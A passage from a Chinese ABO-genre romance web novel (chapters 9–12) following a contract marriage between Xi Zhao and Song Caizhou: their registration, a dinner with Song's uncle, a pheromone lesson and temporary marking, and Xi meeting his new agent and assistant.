可能是饿过劲了,席棹坐在副驾驶上安安静静的,不说话,也不动弹。直到车身骤然停下,他才在哐一声撞上车窗后回神,转头问:“怎么了?”
“什么怎么了?我以为你有事要和我说,感情是自以为是了。”从做后半部分检查开始就发现这人魂不守舍的,也不知道在想什么,结果出了医院还是这幅样子,再加上胃里空得实在难受了,宋采舟罕见的说话带刺。
“啊?”没想到之前对一个眼神都很敏感的家伙,这会儿居然好像傻愣愣的还没听出来,只是低喃着重复:“有事,是有事要说。”可支吾了半天也没憋出个屁。
宋采舟深呼吸,转身从包里掏出一叠证件,然后冲副驾驶摊开手心:“你的。”
“什么?”
“证件。”
“什么证件?”
“......”手抬了半天的人都快无语笑了,双指叩了下车窗,示意人看外面,“登记结婚要用的证件,上飞机前不是让我助理送过来了吗?给我。”
窗外头的大门上面赫然挂着“婚姻登记中心”的字牌。
“快点,等会儿下班关门了。”催促的声音响起。
他边翻后座上那些装衣服的袋子,边疑惑地出声:“不用回S市吗?在这儿也能办?”催促声顿了下,然后回:“能办,没你想得那么复杂。”
接过东西检查了一遍,宋采舟熄火下车,拉着一脸茫然的席棹跑进了登记处的门。
“证件都准备好了吗?给我就行。”
“来,两位核对一下信息,确认无误在这几个地方签字。”
“好的,可以去隔壁拍照了。”
“这位先生,麻烦给个表情,怎么高兴得呆住了?”
“这是两位的结婚证,请拿好。”
看着手中方正的小本,翻开,合上,再翻开,再合上,就这么来回重复几遍后,席棹看着驾驶位上一脸平静的人,恍如隔世。
他和宋采舟,领证了。
他结婚了。
“就这么个本儿你还看不够了?怎么搞的好像你不知道要和我领证一样啊,席大少爷。”
他顿时感觉自己说什么都烫嘴,乱七八糟的台词在嘴里囫囵滚了圈,最后冒出一句:“新婚、快乐。”
噗嗤的笑声一刹那浇醒了他,“行行行,你说快乐就快乐吧。”正准备发车的人显然没往心里去,“去把这车还给老裴,咱们就收拾收拾准备回S市了。”
他抬头问:“舒缓剂呢?”
“医院那边说半个月后来拿,咱们也没那功夫在这儿等着,先回去把你的住处安顿下来。”
车子正要启动,突然听到“叩叩”两声,他扭头一看,车门边上有个人正双手插兜,站在那儿噙着笑看他们。
9. 第 9 章
刚启动的轰鸣声平息下去,车窗降下,那男人的样貌真切起来。
“小叔?”宋采舟的声音里满是诧异,还掺杂着点慌张,“你不是去环球旅行了吗?”说着抱歉地冲副驾驶上的人笑笑,“稍微等我一下,我下去和他说两句。”
席棹默默点头,然后就一言不发地看着人出去,关上车门,理了理衣服下摆,靠在车身上和那男人不知道开始聊什么。
实际上大概也就过去了两三分钟,但他清楚地记得这两三分钟里的每一秒。
哪一秒男人挑眉,哪一秒笑了,哪一秒透过车窗往自己身上撇了个眼神,哪一秒抬手去搭了宋采舟的肩。
甚至连哪一秒太阳光洒在宋采舟的侧脸,晒得人偏头一躲,眼睫颤动的模样,都刻进他眼底。
很快后座车门先被拉开,男人微笑着坐上来,主动朝他伸手:“你好,我叫宋闻,听闻的闻。”声音乍一听和宋采舟挺像,但里面透着股精雕细琢的算计。
他侧身伸手回握,不咸不淡地回:“你好,席棹。”
“喔~”不知是想到了什么,对方意味深长的低声说了句,“你就是席棹啊。”
没等做出什么反应,驾驶位车门打开,宋采舟钻进来扣上安全带:“没想到在这儿都能遇上,我们要去吃饭,小叔去哪儿?我送你。”说着伸手调整了一下后视镜。
后视镜中映出一双含笑的多情桃花眼,“是挺巧的,正好我中午吃的少,现在也有点饿了,不如让我蹭上一顿?”
他抿了抿唇,又觉得自己好像没有什么立场开口拒绝,在察觉到身侧投来的问询目光后索性转头,闭口不言了。
“行,那就当是我给小叔你接风洗尘,今天我请。”
B市中心圈外围的一家私人订制餐厅,顶层的全夜景桌。这会儿还没到平常的饭点,别说看夜景了,就连欣赏落日余晖都还早,周围一眼望去除了他们以外也没别人。
从一大早到现在都没吃东西,但他看着对面其实有几分相似的两张脸,食不下咽。
“这些不合席先生胃口吗?”宋闻倒是吃得开心,心情很不错,“那想吃什么,可以吩咐后厨去做。”语气熟稔的就和这儿是自家开的一样。
“不用麻烦了,我在控制体重。”食不下咽的人冷淡地回。
“哦?”宋闻听后停下手上动作,目光略带新奇地左右打量了一下,“你看起来很健康,体型正好,吃这么少怎么行?可别学那些不懂事的年轻人。”
他观察几眼说这话的人,发现对方虽然辈分比宋采舟高了一辈,但实际看起来也没大几岁,还有那身休闲装的加持,乍一眼更像个刚出大学没多久的毕业生。
结果说起话来一副老成模样。
“咳”旁边传来一声轻咳,“小叔,你别逗他了,他已经签了星汇,工作有上镜需求的。”
“这么说是要进娱乐圈?哪所学校毕业的,是影视专业?还是编导?”宋闻一下子精神起来,“嗯,这条件不进娱乐圈是有点可惜。”
“叮叮”餐刀轻敲餐盘的声音拽回下意识躲避回答而走神的人,他一抬眼,发现宋采舟没有在叫自己,而是对着旁边的人说:“协议、协议,提醒过你很多次了,怎么总记不住保密条款呢?”
这要是放在平常叔侄身上,肯定要被说没家教了,但宋闻并没有因此摆出长辈脸色,只是笑着举起双手在耳边摆了摆:“行,不说工作了。”
他一股气还没松到底,就被对方突如其来的下一句话惊得梗在喉间,上也不是下也不是。
“那......说说你俩的关系?”男人上半身往后靠了些,支起手肘撑桌,手背撑着下巴,一双眼柔情似水地在剩下俩人身上打转,嘴角上扬的弧度像是在笑,也像是手上刻意使力提上去的。
至少他在那做作的十分柔情里看到五分揶揄以后,更愿意相信是后者。
这一刻他才惊觉——自己只是和宋采舟协议结婚,那宋家呢?宋家知道有这么一个人存在吗?对此又是什么态度?
宋家,承认这份婚姻吗?
“当啷”餐具砸落在地,他有些尴尬地蹲下身去,像个慌忙逃离战场的小兵。
餐桌下,两双同款鞋子闯进视线。前天在那家奢侈品店里见过,当时销售说是最新一季的全球限量,宋采舟一眼便看上了。
六位数。
宋闻脚上这双显然也是新的。
他握紧叉柄,只觉得手上冰凉,也觉得自己可笑。
宋家怎么可能把他这样一个普普通通的人放在眼里,又怎么可能承认他和宋采舟的婚姻。
更遑论听宋闻话里的意思,他们根本就不知情。
再直起身,他脸上的尴尬和犹豫已经荡然无存,把银叉往盘边一放,抬起眼看向神色有些担忧的宋采舟:“还是宋总来解释吧。”
这称呼叫的对面俩人都是一愣,但显然宋闻更快反应过来,偏了点头看身旁的侄儿:“小舟?”
宋采舟也无可奈何的放下手中餐具,擦了擦嘴,缓声道:“我们今天刚领证,希望小叔能对家里保密,别让他们打扰席棹的生活。”
“领证?你们俩?”在婚姻登记中心能领什么证自然不必多问,宋闻神色略微严肃起来,放下了手,“你想好了?”
“是,我们都想好了。至于我的紊乱症,您也不用担心,我和席棹是完美契合。”
这话听得他神色恹恹,却听得宋闻喜笑颜开:“行,你一向让人省心,我也没给人当爹的癖好,这事儿我就不管了,至于家里......”餐刀被拿起,往隔壁的盘沿上还了两下敲击,“反正你一年回不了家一趟,自己看着办吧。”
后来两人聊了什么家长里短的,他也没兴趣听,只一味的想——要尽快开始正常工作,赶紧把债还上。
分别前,他收到了宋闻递来的一张纸条,上面写着一串号码。“这是我的联系方式,我是个编剧,和你也算是半个同圈人,要是工作上有什么问题不方便找小舟帮忙,也可以找我。”
“反正是一家人嘛。”轻笑着说完这句,对方眨了眨眼,扬长而去。
纸条在手心被捏得皱巴巴的,他几度想撕烂,最后还是展开、摊平,按上面的号码打开搜索框,申请添加好友。
只是在做这些的时候脸上什么表情都没有。
当晚两人就把SUV还到星汇车库,带着合同赶往机场。登机的时候,席棹意料之中的发现宋采舟买的是头等舱,他细想想两人过来的时候也是升了头等舱,心底哂笑。
至少就花钱这一点,大概永远比不过宋少爷。
看着过道那边阖眼休息的人,他心乱如麻,终于在一遍遍的提醒自己“宋家不能代表宋采舟”以后昏昏沉沉地睡了过去。
再醒过来的时候先是听到边上压低的声音。“把副衣帽间收拾出来放进去,数量可以少但种类要齐全,多挑点简约大方、方便脱换的,客卧也记得收拾一下。”
“......不需要准备,用不上,做好交代的事你们就可以回去了。”
迷迷糊糊的刚睁眼,就和旁边清醒的视线对上。他低头,发现自己身上盖了层薄毯,接着才从周围各种信息当中判断出——这已经不是在飞机上了。
“醒了?要喝点什么吗?还要一个小时才到家。”旁边的人也没机舱里离得那么远了,此刻和他只隔着一个扶手的距离。
摇头起身,捏着薄毯一角说了声“谢谢”,他刚想问自己是怎么从飞机上下来的,随即脑中闪过
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宋闻的身影,不知怎的就再问不出口。
是啊,哪有用钱买不到的服务呢。
旁边递过来一瓶未开封的水,他眨了下眼,还是接过,握在手里哑声道:“是去你家?”
“嗯,你的东西我已经让人从医院拿了先送过去了,其他生活用品他们也会置办好,回头你看看还有什么要补充的,列个单子我再让人去买。”
“不用了,我也没什么东西是非要不可的,你看着办就行。”说着就想到那套空荡荡的老房子,顿了下,补充一句,“房产中介那边,能帮我留意一下吗?我想尽快卖掉。”
旁边人翻页的动作停住,偏过头来:“你不用这么着急,这种事得看缘分。”轻飘飘的语气,硬是把人听出一股无名火,然后他索性就把身子一转,面朝窗外去了。
车内一片安静,因着和前排有格挡,就连司机那边的动静都听不到。
外头是千篇一律的夜色,他看着看着,不知不觉间就把目光落向了车窗上映出的瘦削侧脸。虽然从他的角度只能看到半张脸,但那上面的专注和认真依旧清晰可见。
宋采舟翻了多久的平板,他就透过车窗看了多久,直到——
“你看看这几个,有没有感兴趣的。”平板越过肩头递过来,他茫茫然接过,然后看到上面整理出了一份文档,A级现代电视剧三番男配演员招募信息。
“......你刚才,就是在做这个?”他的声音比刚睡醒时还要哑上几分,瞳孔微颤的问。
闭眼揉着穴位的人淡淡道:“嗯,老裴说经纪人那边还没定下来,我就先管他要过来整理了,这活儿耗眼睛,以后我可不做了。”轻啧一声又说,“我看来看去档期片酬角色都合适的也就这几个,你自己再挑挑看。”
他一目十行地上下一翻,没仔细看,皱着眉问:“三番男配戏份已经不少了,你对我这么有信心,觉得我一上来就能把握的住吗?”
“有,我相信自己看人的眼光。”宋采舟语气轻松,“而且我没考虑古装戏只选了现代的,这已经是最大的让步了。”
“A级,也是让步?”
这回对方倒是噎了下:“既然我都答应了老裴要给星汇拉资源,当然不能滥竽充数,而且你不知道现在的行情,A级以下的项目的确没什么考虑的必要,班底太次。”
他垂下眼沉默片刻:“你的意思是这上面的我都能去试镜?没要求?”
“对,非要说有什么要求的话,大概就是组里请假不能太麻烦。”
这算哪门子要求......跑群演时习惯了死亡行程的人轻叹气,熄了平板问:“为什么?”
“万一你中途要去办还债的事,还得接待我这个病患的探班,你不会忘了答应过我什么吧。”身旁人的语气仍旧平淡,平淡到像忙活了一路眼睛通红的不是自己。
他静坐着,觉得手里的平板发烫,从手心烫到心口,但并不过分,反而暖融融的。“我回去仔细看下,明天给你答复,行吗?”
“OK,如果有中意的,这段时间你就可以好好准备了,我估计星汇那边经纪人的人选应该快定了,助理的话可能得你自己面试。”一路再无言。
四十多分钟后两人终于到家。宋采舟住的是套大平层,地段和装修都不算张扬,走的是拼装简约风格。客卧和副衣帽间连通,里面已经挂满了尺寸合适的衣服和配饰。
“赶紧洗漱休息吧,平板你拿着用,没密码。”
“行。”
他刚把合同和自己那些证件放进抽屉,手机就响起提示音——好友申请通过了。
新弹出的消息框上挂着一条房屋售卖信息的链接,点进去是他之前住的那套老房子。
【宋闻闻:你缺钱?】
10. 第 10 章
席棹是被手机铃声闹醒的。
平常除了医院通知和推销外其实接不到什么电话,更何况现在工作辞了,医院那边也有人帮忙盯着,所以他第一反应就是垃圾广告。
挣扎着抬起手指凭感觉一划,给挂断了,正准备翻个身再眯会儿,那铃声就跟催命符一样续上,炸得耳边嗡嗡响。
再没有起床气的人被这样强制弄醒也绝不会一点不烦躁。
左右觉是睡不成了,他正打算借机会发泄一下整晚辗转反侧带来的不快,还有些模糊的视线里就出现了一个名字,宋采舟。
“咳咳!”马上坐起身把手机拿远清了清嗓子才接起,“喂?”
那头的人显然是从低哑的声音里听出了他刚睡醒,顿了下,问:“吵醒你了?快十一点了,我以为你已经起了,那我晚点再打过来。”
墙上的闹钟背景是一幅抽象派的线条画,他眯着眼花了三秒才确定时间,十点四十。
“没有!本来也醒了,你找我?”翻身下床圾着拖鞋进卫生间往脸上拍了两把水,总算彻底清醒。镜子里的人发型乱糟糟的,脸上有些水肿,但依然盖不住硬朗的轮廓线。
这实在是一张足够上镜的脸。
“哦,我想问你晚饭打算吃什么,冰箱里的食材应该不多了。”那边似乎有人进了办公室,叩门和推门的声音透过听筒传来,他听到宋采舟的声音瞬间变得严肃:“文件放下,通知宣传部半小时后开会。”然后转头又温和下来,“你不是要控制饮食吗?我也不知道你的习惯,就问问。”
他呆了几秒,随即回忆起自己昨天在餐厅里说的话。但这时候再解释显然迟了,对方已经接受他要减肥这件事,而且好像还很上心。
“嗯,就最常见的那些减脂餐就行,我没什么忌口。”于是他也只能顺势说下去,并且一想到又要过那种痛苦的日子就语气恹恹的。
但这回对面好像没有察觉,只说:“知道了,家里的备用钥匙放在鞋柜上,还有,昨天给你整理出来的那些本子记得挑一挑,有感兴趣的发我消息。”然后没等回复就挂断了。
看着一红一黑两条通话记录,他逐渐有了一种实感——宋采舟是有正经工作要忙的,不能因为前两天人一直和自己在一起,就忽略了这点。
很快又无法控制地往另一个方向想,他们昨晚凌晨才到家,自己睡下的时候都已经快两点了,宋采舟今天就去上班,听上去事还不少的样子,会不会太累,身体会不会吃不消,会不会......对紊乱症病情有影响。
越想越不放心,于是干脆火速冲了个澡,收拾了包带上平板,抓起鞋柜上的备用钥匙就推门——
外头正准备按铃的人险些被突然打开的门撞倒,惊惶未定地抬头,对视上,颤颤地问:“是、席先生吗?”
“?”他目光略过西装革履的男人胸前挂的铭牌,觉得上面的logo有些眼熟,“你是?”
两个大袋被提起递到面前,“这是宋总交代给您送的午餐和新鲜食材,请您尽快放进冰箱储存,以免影响口感。”
看着那个刚说完就头也不转走掉的背影,恍惚间他想起,那铭牌上的就是昨天S市那家餐厅的名字。下一秒,另一个现实摆到他眼前——他不知道宋采舟公司在哪儿。
“啧。”又想到刚才电话那边一刻不得闲的样子,只好硬生生回头,先把两大袋东西拿进门。
等收拾完冰箱吃完饭,在客厅来来回回转了不下十五分钟后,消食消得差不多的人终于开始今天的正事,端起平板拿着触控笔在文档上写写划划,很快那上面就被不同颜色密密麻麻的笔记塞满。
把预估在组时间超过心理预期的划掉,再把最复杂的角色人设隐藏,最后留下的剧本只有两个。
定定地看着那只有一句话的剧本简介,有些从前的记忆涌来,他捏了捏鼻梁深呼吸,把眼眶里的潮气生生压下,然后给宋采舟发了条消息。
消息很快被回复,下面还附带一长串转发来的文档,没等点开,语音通话就弹了出来。
“资料收到了吗?裴明知说是最新拿到手的,我刚开完会还没来得及看,先发你了。”
不知道是开会时间久了还是怎么,电话那头的声音有些喑哑,不像平常温润,他手中的笔顿住,在平板上注下一个漆黑墨点,不自觉拧起眉,“你是不是不舒服?”
那边似乎抽了声冷气,回复的音量整个放轻了许多:“没事,不小心被东西砸了一下,小伤口,皮都没破。”然后手机收声的地方像是被捂住了,一声很模糊的“轻点”钻进他耳朵里。
肯定是受伤了,他想。
“你还没回答我呢,发你的文件能打开吧,没损坏吧。”
“没有,完整的,你别操这个心了,我先挂了。”
通话界面的挂断键很大,但愣是按了好几下才按实,等到确定挂断后,喉间那股硬憋着的气散开,他捏紧拳心,把颤抖的指尖整个包裹进去。
只是听到那个人受伤,为什么自己的身体会有这么大的反应。他该有这么大的反应吗?这样的反应......正常吗?
他不懂,就像不懂腺体疾病、不懂易感期、也不懂彻底标记。
意识到不能再这样胡思乱想下去,甚至顾不上打开那一串文档仔细看看,他抓起衣服就冲到跑步机上,给自己调了最高配速,闷头就是甩开腿跑。
落日余晖透过落地窗洒进来,门开的时候他刚从跑步机上下来,浑身的汗止不住地淌,累得心里一丝杂念也生不起,结果一转身,就和玄关处弯腰换鞋的人对视上了。
前功尽弃。
“你、这是跑了多久?”刚到家的宋采舟换上拖鞋,径直走过大半个客厅到嗡嗡作响的机器旁,看了眼屏幕纪录,语气一下就不对了,“你疯了?要减重也不能这么跑啊!”
他哪还有力气解释那些,只是搭着支撑杆勉强站着,膝弯发软。喘息了好一会儿才借着伸过来的胳膊,慢腾腾挪到沙发上坐下。
刚坐下两条腿就被抬起架到低矮茶几上,和酸胀的腿部皮肤相比有些
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凉的十指贴了上来。
“早知道你这么胡闹,我就先不给你发那些资料了。”
一身名牌的宋少爷单膝跪着,伸手给他做起了腿部按摩。
“我回来路上看过了,你挑的那个剧本里的男配,形象上是和你本人有些差别,但是这会儿离演员招募还有十来天,进组开机更是早的很,你没必要这么逼自己。”
眼前人瘦削的下巴上还挂着汗珠,眼睫垂着的模样别提有多乖顺,唯独话里挑不出一个能算得上软的字眼。
“我以为你是个聪明人,结果这才第几天,你就给我整这出,看来我以后是没法省心了。”
左腿被啪的一掌拍得脆响,他听话地曲起,放下,把右腿往左挪了挪送到人手心。好不容易有点力气了,开口说的第一句就是:“你哪里受伤了?”
无语的笑声在耳边响起:“我家里人都没你这么啰嗦。”又过了几分钟,“行了,去擦擦汗,我去弄晚饭。”
仍旧没有得到答案的人心口憋闷得慌,明明胃里早就空荡荡的,可就是吃不下多少东西。
宋采舟也没勉强他,只在餐桌上随口提了句:“九点钟左右到书房来,我给你上生理课。”
然后他就连一口都塞不进了,甚至紧张得胃里开始抽抽,倒不痛,只是难受,跟上学时候考试前一个样。
这难受劲儿一直持续到八点五十九分,他站在书房门口,看了眼时间,在准确跳到九点整的时候抬手敲门。“进。”里头传来有些疲惫的声音。
“来,坐这儿吧。”宋采舟放下帘子,把灯光调暖两度,然后打开了墙上的投屏,示意他坐到正对的位置上。
温热的身体贴近的时候,他惊得几乎原地跳起,被一手按住大腿,身边人语气明显见怪不怪了:“慌什么,我又不会吃了你,你要学的第一节课就是习惯异性的接触,我说的是ABO性别里的异性。”
被触碰的地方传来一阵酥麻,过电般流向后颈,这让他不自觉打了个哆嗦。
“嗯,有这种反应是正常的,别排斥,也别想着尴尬什么的,试着接受它,你就当是在适应轻微的电流吧。”大腿上的手挪开了,转移到遥控上,投屏放出一张腺体说明图。
激光红点落在那张图的某个角落,他在一阵鸡皮疙瘩炸起的瞬间,感觉到后颈被两根手指轻轻地抚过,摁住了。
投屏的光影都朦胧起来,耳边的声音似乎循循善诱:“你应该知道信息素是从这儿释放的,昨天你试过,但是没控制好,安抚信息素要用更温和的方式,不能一下打开,要像......像吹羽毛那样,懂吗?”
他的耳根被轻吹过的风撩得红透,甚至隐隐听见渐快的脉搏和心跳,咚、咚、咚的越来越响。
并不呛鼻的轻微焦香循着那两根手指攀上去,缭绕进两人的鼻腔。
他口干舌燥地轻声问:“这样、这样对吗?”
后脖上的指尖似乎松了力,他没等到答复,悄悄转头去看——宋采舟竟然闭着眼,睫毛轻颤着,满脸通红。
11. 第 11 章
“你、你怎么了?”席棹眸光微闪,连声音都压得很低,低到里头不寻常的欲念都快遮掩不住,但身边的人没有回答。
熟悉的茶香笼罩住全身,从每个角落钻进血液里,无孔不入。那香味就像自行找到了路,在经脉里疯狂流窜,流向指尖、流向后脑、流向下腹。
呼吸声近在咫尺,越听越盖过犹如擂鼓的心跳,左耳已经完全麻痹,浑身僵在原地,他觉得自己成了一块铁板。
偏偏宋采舟非但没有清醒远离,反而像失了力般整颗脑袋靠到了肩上。
潮热,汹涌而来。
拼着一丝理智扶起对方靠坐好,恍惚之中他觉得周围雾气弥漫,大雾之中,所有感官都被无限放大。
宋采舟的呼吸、宋采舟的轻颤、宋采舟的声音......
“紊乱症、发作了。”很轻很轻的一声,甚至比不过激光笔掉落在地上的声音,但他清清楚楚地听见了。
“别走。”手腕被握住的时候,他只觉得被触碰到的皮肤吓人的滚烫,但没有抽离,也不想抽离,喉结滚动,哑声承诺说:“我不走,你告诉我,我该怎么帮你。”
闭眼轻皱着眉的人这才放心地松开手,把头往侧边偏了点,有几缕发丝拂过脸颊,盖在紧闭的眼皮上。
“那就、趁这个机会,教你,临时标记吧。”断断续续的声音里夹杂着隐忍的喘息,在无限敏感的听觉里,他能分辨出那种隐忍和自己的并不一样。
那是对疼痛的无可奈何的忍耐。
闭着的眼睁开了,露出里头含水的潋滟。他目不转睛地盯着那微红眼眸,第一次可耻地意识到——痛苦竟然可以让人如此着迷。
宋采舟的痛苦正在具象化。家居服下的皮肤泛起大片的红,表面的温度急速下降,可内里却是火山熔岩般的炽热。
剧痛,像一颗即将爆破的气球。气球表面渗出细密汗珠,并不成流,只是恶心又贪婪地扒在那儿,汲取着所剩无几的理智和情感。他痛恨这具身体,痛恨omega性别,痛恨被迫成为“宋采舟”的荒唐命运。
可他也无比庆幸——解药就在自己面前。
“席棹......帮我。”衣领最上面的两粒纽扣被解开,向下一扯,露出纤细而脆弱的锁骨和双肩,“在我的腺体上,咬一口。”
哐当,桌脚被猛地踹开,高大的身影笼罩下来,却只是紧紧抓住了衣领。
席棹紧咬着牙,盯着那雪白肩头上一块扎眼的乌青,眼里几乎快冒出火来:“你说的小伤,就是这个?”
那乌青外圈还有着药油残留的颜色和气味,说实话,不大,但足够深,足够尖锐。尖锐到他看久了,怀疑那东西砸下的时候是不是几乎撞断了里面的骨头,才能留下这样和血相融的痕迹。
掌心覆了上去,然后立刻像被刺到一般撤开。“怎么这么冰?”他慌乱地用手背去触碰宋采舟通红的额头,发现那里也是,哪里都是一样的彻骨的冰冷。
“热......好热。”魔咒般的呓语把他的思绪拽了回来,眼下那领口敞得更开了,突然,后颈上一点暗红吸引走了所有的视线。
靠近、再靠近,他着魔一样去追寻那红点,最后发现那是之前注射腺体保护液留下的已经结痂的伤口。
“这里,还疼吗?”
没有回应。
他看向又已经紧闭上的那双眼,里头的好风景完全被关住了,宋采舟好像已经快要失去意识。
“我咬一口......你就会好吗?”
气若游丝的一声“嗯”之后,他用手把碍事的衣领再往下扯了些,手掌扶着发丝柔顺的后脑,低下头,张开了嘴。
他发誓自己从没有品过比此刻更浓郁的茶香,浓郁到像整个人泡进茶汤温泉里浸足了时间,浸透了,连每一次呼吸间都萦绕着这气息。
他喜欢这味道。
可不知不觉中,茶香里头混杂了几丝酸味,像茶叶被烤干又烤焦后不得不求饶的酸味。
又没那么喜欢了。
但他觉得宋采舟应该是喜欢这样的接触的。掌心下冰冷的皮肤正在回温,那不间断的细微的颤抖也停止了,身下的人明显放松下来,呼吸也变得轻盈。
最后他是被一声痛呼唤醒理智的,猛然松口抬头的时候,看到那后颈上原本的红点已经被更新鲜的咬痕取代。
“我没事了,谢谢。”这声音不如刚才柔软,也不如刚才那样......诱惑。
若有所思地舔了下刚回缩的犬齿,他瞳孔微颤着开口:“这样就好了吗?”满心的意犹未尽。
然而宋采舟显然已经从那种状态里抽离,扣上衣领,抬眼轻咳了声:“嗯,这就是临时标记,是完美契合条件下安抚紊乱症最好的方法。”
墙上的投屏已经熄了,激光笔也早就不知道滚去了哪个角落,矮桌被踢得偏离了原来的位置,座位上的靠枕和布也都歪歪扭扭。
至少他的周围看起来,一片狼藉。
夜已经很深了,可床上的人依旧翻来覆去难以入睡。他只要一闭上眼,宋采舟那双蕴着水汽的眼睛就会出现,会含情地和他对望。
即便是刚到这个世界,被欠债逼得焦头烂额的时候,他都没有这样烦躁过。
烦躁于自己会被一个男人引出生理反应,会毫不排斥地和人亲密接触,会因为一双眼睛辗转反侧。
可他并不觉得恶心,即便是睁眼到快天亮,也不觉得错在那人。
“他只是,让我帮他,治病。”
在一墙相隔的主卧,床上的人也没能睡着,只是睁着眼静静地看着天花板,慢慢地长叹了口气,认命的翻身坐起。
席棹再醒过来的时候天已大亮,他收拾好打算去敲主卧房门看看情况,结果迎接他的却是一片空荡。
屋里冷清的像根本没人待过,他这才确定,宋采舟早就出门了。
此后一连两天宋采舟都没有回来,只是在第二天傍晚发来了一条消息:出差,估计十天,你好好照顾自己,别乱来。
看着这条常在家庭伦理剧里出场的信息,他还是没有解释那天的过度运动只是个误会,甚至在心底庆幸。
依旧过着一个人吃一个人睡的自由日子,却莫名其妙的总感觉和以前不一样了。
不是多了什么,而是缺了什么。
直到三天后他接到了裴明知亲自打来的电话。
“席棹吗?我是裴明知,你的经纪人已经定下来了,我把她的联系方式和履历发你,之后她会和你联系的,好好干,别让宋总失望啊。”
打开传过来的文件,他心知肚明——裴明知身为星汇老板,其实根本没必要亲口跟他说这些,多半还是看着宋采舟的面子。
履历左上角一寸照上的女人英姿飒爽,“乔颖?”他低声念了名字,然后往下翻。
“女性alpha,39岁,入圈二十年?”这可真算得上是老前辈了,再往下看更是被吓一跳。
乔颖带过的艺人其实不多,
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仔细数数其实只有八个被承认的,只是这八个人里,没有一个是同期。短的在她手下三五个月,长的也有四五年,上一个离开后下一个马上接上手。
她在这种工作模式下竟然没有过一个月以上的艺人空窗期。
这还不算什么,最令他震惊的是,她带出来的艺人在各个领域都有着不小的成就。潜力新人、视帝、最具价值模特、高奢代言顶流,甚至还有影后。
这样履历的明星经纪人竟然会和星汇这家刚起步的公司合作?
他在一瞬间想起了那天在裴明知面前宋采舟说的话。
“宋氏......真的这么厉害吗?”打开搜索框的动作停住了。他想还是算了,宋采舟是宋采舟,宋氏是宋氏,既然对方都不介意借用家里的资源,他又何必在意那么多。
手机屏幕熄下去没几秒突然又亮起,一个陌生的号码打进来,他看着那串属地S市的号码,接了起来,“你好。”
“席棹,你好,我是乔颖,你的经纪人。”女声利落干净,说话丝毫不拖泥带水,“我已经和星汇完成对接,以后你的艺人工作全由我来安排,希望能合作愉快。”
他嗯了声,那边很快又说:“现在我的第一项工作,是为你挑选一名合适的助理,你几点有空?”
墙壁上抽象线条的指针刚转过半圈,外头正是最热的时候。“我随时都有空。”
那头毫不迟疑:“半小时后,我们通过视频会议面试助理,你可以准备一下要问的问题,最好今天就能定下来。”
他简单洗漱了一下,换了件深色的衬衣,稍微打理了一下发型,在把烧好的水灌进水壶后没多久,桌上的笔记本弹出了星汇内部的视频会议邀请。
半小时,一分不少。
视频里的乔颖看上去和照片没什么差别,连短发的长度都一模一样。“我初步筛选过后剩下五个人,每个人十五分钟的接入时间,我不会插手,一切看你自己选择。”
外头天色已近黄昏,面试早就结束了,后面的两个小时完全是乔颖和他的一对一交谈。
“你比我想象中要成熟一点,说实话我看中的也是她,理由和你差不多。”乔颖拿过刚打印出来还温热的纸张轻轻甩了甩,表情还算满意。“那就她了,明天我会带她一起去你那儿,我们的初次见面,地点由我来定,没问题吧?”
“乔颖姐你决定就行。”
总算完成今天的主要任务,他往后一靠,枕在沙发上开始放空。
放着放着又突然看了眼时间,“还有六天......六个小时。”他坐起身把最后选定的助理信息发给某人。
G市某酒吧包厢,被簇拥着的人抬手示意:“抱歉,有重要信息。”说着径直走出门,绕过拐角后才往墙上一靠,划开手机,盯着上面那张年轻的脸。
“林善善,23岁,女性beta......”
“哟!”突然肩膀被轻拍了一下,他面色不虞地转头,看向跟着出来的人,用眼神示意对方有屁快放。
“舟舟,你这什么表情,怎么拿下了这生意好像还不是很开心?”
他想到包厢里那些乱七八糟的人只觉得头痛,要不是为了生意他一点都不想和那些人来往。
如果,如果这个时候,席棹在自己身边的话......
“嘿!发什么呆呢!”
他甩开搭到肩膀伤处的手,轻叹气:“阿穆,我身体不太舒服,先走了,记得替我去打个招呼。”
12. 第 12 章
席棹对了下手机上乔颖发来的定位,抬头确认后走进了这家影音店。
“随便看看,不懂的来问。”老板是个留着脏辫的潮流男,在冷气嗖嗖的风口下只穿着一件马甲背心,露出大半只花臂,正背对着他擦架上的灰尘。
“这里二楼能上吗?”他把手机熄屏,走近了些问。脏辫男停下手上动作转过身来上下打量他,把掸子往脚边一扔,示意道:“姓席是吧,跟我来。”
树桩搭的楼梯发出嘎吱嘎吱的声音,听上去年份比那些黑胶唱片要老的多。尽头的帘子被掀开,他跟着低头钻进去,看到了唯一一张长桌边坐着的两个人,乔颖和林善善。
“人给你带到了,要喝点什么?”老板捋了下自己的长辫,有些殷勤地问正处理工作不苟言笑的女人。“谢谢,水就行。”暗示无关人士离开后,乔颖站起身伸出手:“初次见面,席棹,你好。”
他上前去握了手,然后朝旁边神色有些紧张的年轻姑娘一笑:“林善善,你好。”昨天其实已经通过视频见过面了,但也许是因为穿着打扮,林善善本人看上去明显更年轻活力。
“席、席哥,您好!”姑娘显然是太紧张了,不小心咬了舌头,顿时五官都皱到一起。
他在两人对面坐下,“不用这么称呼我,叫名字就行。”
林善善试探地看了眼身边真正给自己发offer的人,准确接收到了信号,坚定地点点头:“我还是叫你席哥吧。”
同样接收到乔颖眼神的人只得无奈一笑:“行,那就随你。”
这个阁楼一看就不是专门用来办公的地方,放着舒缓的古典乐,空气也流畅,还有林善善这么个刚毕业朝气蓬勃的人在,所以就连乔颖的语气也不怎么严肃。
“她的合同已经签了,从今天起就是你的全职助理,包括平常生活方面在内,都可以让她上手熟悉了。”
他点点头,然后主动把添加好友的二维码打开递过去,林善善受宠若惊地加上,看过来的眼神里多了一丝敬重。
三人开始就席棹的职业生涯规划聊起来。“听说你已经有心仪的本子了,说说大概内容,我评估一下。”乔颖翻开笔电,创建出一个新的文档,边听他说边敲打着记录,偶尔停下来示意一旁的林善善观摩学习。
半晌后,轻薄的敲击声停下,乔颖若有所思地盯着屏幕看了会儿,伸手把垂落下来妨碍视线的头发别到耳后,“林善善,站在你的专业角度分析,你觉得他挑的这个剧本怎么样?”
林善善起初是有些紧张,但经过刚才的交谈,又近距离看到一直仰慕的明星经纪人是怎么工作的以后,心里对这份职业的憧憬和热血早就盖过了微不足道的紧张。
更何况能跳级读完大学,又在别人大学刚毕业的年纪就完成研究生学业,她本来就足够聪明。
“我觉得,这个剧本的结构非常完整,从大纲来看暂时没找到逻辑不通的地方,而且该有的剧情铺垫、高潮、反转都有,目前看来似乎也没有注水情节,只要能好好还原这个故事,不屈服于资本加一些乱七八糟的内容进去,成片的效果应该不止A级的行业标准。”
